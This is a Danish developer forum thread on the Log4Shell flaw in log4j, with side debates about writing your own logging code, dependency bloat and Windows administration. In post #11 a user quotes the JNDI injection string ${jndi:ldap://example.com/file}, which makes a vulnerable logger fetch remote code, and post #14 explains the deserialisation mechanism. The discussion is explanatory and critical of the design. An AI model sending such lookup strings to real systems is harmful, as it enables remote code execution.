mboost-dp1

Rigtig grimt sikkerheds problem


Gå til bund
Gravatar #2 - larsp
13. dec. 2021 06:52
Jeg fortryder ikke at jeg skrev mit eget skræddersyede logging system til vores platform, det er vitterlig ikke ret meget programmering at lave den slags. Vores custom logger er ca. 300 linjer python kode og understøtter rate limiting, event logging og state logging (vedholdende notices, errors og warnings), filtrering baseret på severity og source, filtrering med timeout så man kan lade tunge loggingopgaver stoppe automatisk efter f.eks en time. Altsammen skræddersyet til vores behov.

Det havde taget lige så lang tid, hvis ikke længere at gennemsøge alle de tilgængelige logging systemer derude, beslutte hvilken der passer bedst, sætte sig ind i systemet, konfigurere det, teste det osv. Og så ender man alligevel med et gigantisk sikkerhedshul a'la #1. Jeg har nok et mildt tilfælde af "not invented here" syndrome, men det viser sig igen og igen ikke at være en dårlig ting.
Gravatar #3 - arne_v
13. dec. 2021 13:46
#2

En antagelse om at man selv laver færre fejl end dem som laver de kendte frameworks er sjældent velbegrundet.

En realistisk antagelse er langt flere fejl per linie, men hvis antallet af linier er langt mindre så kan det måske stadig begrundes.
Gravatar #4 - arne_v
13. dec. 2021 13:49
#2 og #3

Men I dit konkrete tilfælde tror jeg ikke at der er sparet mange linier eller sparet meget tid på evaluering, da Python kommer med et indbygget logging system!

:-)
Gravatar #5 - larsp
13. dec. 2021 14:45
#3 tja, det er en balancegang. Jeg hælder i jeg-laver-det-helst-selv retningen. Muligvis lidt for meget.

Men jeg vil mene at den gennemsnitlige udvikler i dag, der bruger et højniveausprog hælder for meget i den anden retning. Det er ikke hensigtsmæssigt at hive tonsvis af dependencies ind i et projekt, hvis det kan undgås med overskuelig manuel kodning. Afhængig af opgaven selvfølgelig, der er mange betragtninger. Men eksterne dependencies er reelt er en masse black box kode man ikke har reviewet som kan være buggy og gøre noget man ikke regner med fordi det er for komplekst og man ikke har sat sig 100% ind i funktionaliteten, osv.
Gravatar #6 - arne_v
13. dec. 2021 17:12
#5

Det kan være slemt med de rekursive dependencies. Ens program skal bruge 25 libs og når ens build tool er færdig med dependencies af dependecies så er der 2500 libs inkluderet.
Gravatar #7 - Claus Jørgensen
13. dec. 2021 17:56
#5

Det er lidt urealistisk lol. Og sprog som C/C++ er faktisk værre til at hive ind dependencies fordi deres standard library er praktisk talt tomt.

Eller mere "moderne" sprog som Ruby der heller ikke rigtig kan noget som helst (Jeg hader Nokogiri som pesten)

Men hvis du vil manipulere et billede i C++, så importere du jo nok ImageMagick frem for at skrive dit eget bibliotek. Eller hvis du vil parse XML, JSON, etc.

Og Python er ikke nogen undtagelsen, der er jo en grund til at Pip er blevet stort.
Gravatar #8 - Claus Jørgensen
13. dec. 2021 17:58
Og tag bare et meget lille C bibliotek som libgit2.

deps:

- chromium-zlib
- http-parser
- ntlmclient
- pcre
- winhttp
- zlib
Gravatar #9 - arne_v
13. dec. 2021 19:26
#7 og #8

Jeg synes ikke at C/C++ er slemme.

Hvis jeg skulle liste så:

1) npm
2) maven
3-5) pip, nuget og vcpkg

(først - hiver flest dependencies ind)
Gravatar #10 - Claus Jørgensen
13. dec. 2021 19:59
#9

npm er ikke så slem hvis man ignorer "standard" bibliotekerne. JavaScript har jo ikke som sådan et standard library (det har altid afhænget af hvilen platform/browser man skrev til)

npm har en masse af deres egne dependencies som man typisk altid ender op med.

Og så er der også en del biblioteker som er splittet i flere dependencies (noget som er upraktisk i C/C++ pga. linking), hvilket gør listen ret lang.

https://github.com/clausjoergensen/jsIRC/blob/mast... er ret lang men den faktiske liste af production dependencies er ret kort, 2 stks. https://github.com/clausjoergensen/jsIRC/blob/mast...

(devDependencies er lokalt stuff til testing, linting, etc., så de tæller ikke)
Gravatar #11 - larsp
16. dec. 2021 06:27
Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?

Det lugter langt væk af creeping featuritis.

Wikipedia-artiklen https://en.wikipedia.org/wiki/Log4Shell kommer med noget forklaring. Logging systemet understøtter diverse string substitutions, a'la ${java:version}, og "smarte" muligheder for at køre arbitrær kode med ${jndi:ldap://example.com/file}

Det var da den mest sindsyge idé jeg længe har set. Hvorfor implementere den slags i et _logging_ system? Det bør da være op til klientprogrammet at stykke logbeskeden sammen FØR den sendes til logservicen? Jeg er dybt forundret.
Gravatar #12 - Claus Jørgensen
16. dec. 2021 13:18
larsp (11) skrev:
Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?
Det giver vel meget mening hvis du vil logge til en "remote disk" eller lign. hvilket jo typisk tilgåes via. LDAP

(Men det er åbenbart ikke det hvad det bruges til)
Gravatar #13 - arne_v
16. dec. 2021 14:23
Claus Jørgensen (12) skrev:
larsp (11) skrev:
Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?
Det giver vel meget mening hvis du vil logge til en "remote disk" eller lign. hvilket jo typisk tilgåes via. LDAP

(Men det er åbenbart ikke det hvad det bruges til)


Tænker du på WebDAV?

LDAP er directory f.eks. Windows Active Directory.
Gravatar #14 - arne_v
16. dec. 2021 14:55
#11

Der er helt klart at features er gået totalt amok.

Men jeg kan prøve at forklare logikken.

Log4j 2.x er tiltænkt at logge som:

logger.info("User did input: {}", userInput);

Det anses generelt som god praksis at eksternalisere strenge så man kan ændre dem uden at skulle lave en ny software release.

Nogen synes at LDAP er bedre end config filer. Jeg er ikke enig, men de findes.

Så:

logger.info("${jndi:ldap://minkonfigserver/userdidinput}: {}", userInput);

giver en vis mening.

Men man laver en katastrofal design fejl og har glemt at tænke på noget.

Den katastrofalæe design fejl er at man vælger ikke at hente strenge men at hente serialiserede Java onjekter. Det er naturlighvis mere generelt at hente objekter og strenge kan nemt sendes som objekt. Men deserialisering er kendt som en meget farlig process hvis man ikke kan stole på input - deserialisering kan udføre kode når objektet skal genskabes.

Og det man har glemt at tænke på er at næsten ingen bruger:

logger.info("User did input: {}", userInput);

Næsten alle bruger log4j 1.x stil:

logger.info("User did input: " + userInput);

Og så bliver evt. ${} i userInput også udført.




Gravatar #15 - arne_v
16. dec. 2021 18:52
#14

For en god ordens skyld - ovenstående er ikke baseret på noget der er forklaret af folkene bag log4j men udelukkende mit bedste bud baseret på den udviklede funktionalitet.
Gravatar #16 - arne_v
17. dec. 2021 02:49
EN af de grimme detaljer er at den her fejl rammer meget bredt:
* Java platform software
* interne Java business applikationer
* hardware med embedded software som bruger Java

Det sidste gør at selv firmaer som ikke har 1 linie Java kørende på deres server kan have problemer.

En liste:

https://www.continuitysoftware.com/blog/centralize...
Gravatar #17 - Claus Jørgensen
17. dec. 2021 05:49
#14

Jeg kan stadigvæk ikke se hvorfor man ville eksternalisere strenge i log statements. Normalt er det jo bare hardcoded strings sammen med resten af koden.

Det virker som noget enterpris fis Java er fundet på for no good reason.
Gravatar #18 - arne_v
17. dec. 2021 13:55
#17

Jeg synes heller ikke at behovet er for det er overvældende, men hvis vi siger at der er 1 million brugere af log4j så skal der nok være nogle lidt mere specielle krav ind i mellem.

Nogen har brug for at levere log fil i lokalt sprog (Fransk, Tysk eller noget andet).

Nogen bruger SmtpAppender og ønsker at customize det der emailes.


Gravatar #19 - arne_v
17. dec. 2021 18:33
#16

Ser ud som om VMWare kunder er hårdt ramt:

https://www.bleepingcomputer.com/news/security/con...
Gravatar #20 - arne_v
21. dec. 2021 16:31
#overkompliceret

Men jeg har et spritnyt eksempel på noget overkompliceret software.

Jeg skal installere en GUI til noget database administarion. Den fylder 1 GB. Det er meget for en GUI man skal bruge til at oprette lidt databaser og tabeller med. Men OK. Men kommer den med en installer? Nej. Den kommer med en installer til en install manager som kan installere den. Så først installerer man en install manager og så bruger man den til at installeree GUI med. Og install manager fylder 400 MB.

WTF
Gravatar #21 - larsp
22. dec. 2021 08:37
#20 Held og lykke ...

Jeg må sige at et par tekst konfigurationsfiler og kommandolinje interfaces, selvom det virker gammeldags, altså er noget mere medgørligt end "brugernemme" GUIer. Man kan scripte setup processen og versionsstyre konfigurationsfilerne når det er tekstbaseret.

Kan man overhovedet scripte konfiguration af services i Windowsverdenen? Er musearm en nødvendig arbejdsskade når man sætter Windowsbaserede servere op?
Gravatar #22 - arne_v
22. dec. 2021 16:36
larsp (21) skrev:

Jeg må sige at et par tekst konfigurationsfiler og kommandolinje interfaces, selvom det virker gammeldags, altså er noget mere medgørligt end "brugernemme" GUIer. Man kan scripte setup processen og versionsstyre konfigurationsfilerne når det er tekstbaseret.


Jeg er rimelig til SQL92 og DML generelt, men ikke til database specifik DDL.

Jeg skulle have oprettet 2 tabeller med samme navn i samme database ved at putte dem i forskellige schemaer.

Jeg sikker på at en DBA for den database nemt kune gøre det med SQL. Men ikke mig. Så en GUI hvor man kan klikke ned til schemas, højreklikke og vælge ny og så tabeller, højreklik, vælge ny og angive det oprettede schema.

:-)

larsp (21) skrev:

Kan man overhovedet scripte konfiguration af services i Windowsverdenen? Er musearm en nødvendig arbejdsskade når man sætter Windowsbaserede servere op?


Det er mit indtryk at en rigtig Windows admin kan alt med PS.

Og både konfig-filer og registry entries kan jo ændres fra et script.

Men det kan godt være at der er et par milliarder Windows brugere, men der er meget langt mellem gode Windows admins!

Gå til top

Opret dig som bruger i dag

Det er gratis, og du binder dig ikke til noget.

Når du er oprettet som bruger, får du adgang til en lang række af sidens andre muligheder, såsom at udforme siden efter eget ønske og deltage i diskussionerne.

Opret Bruger Login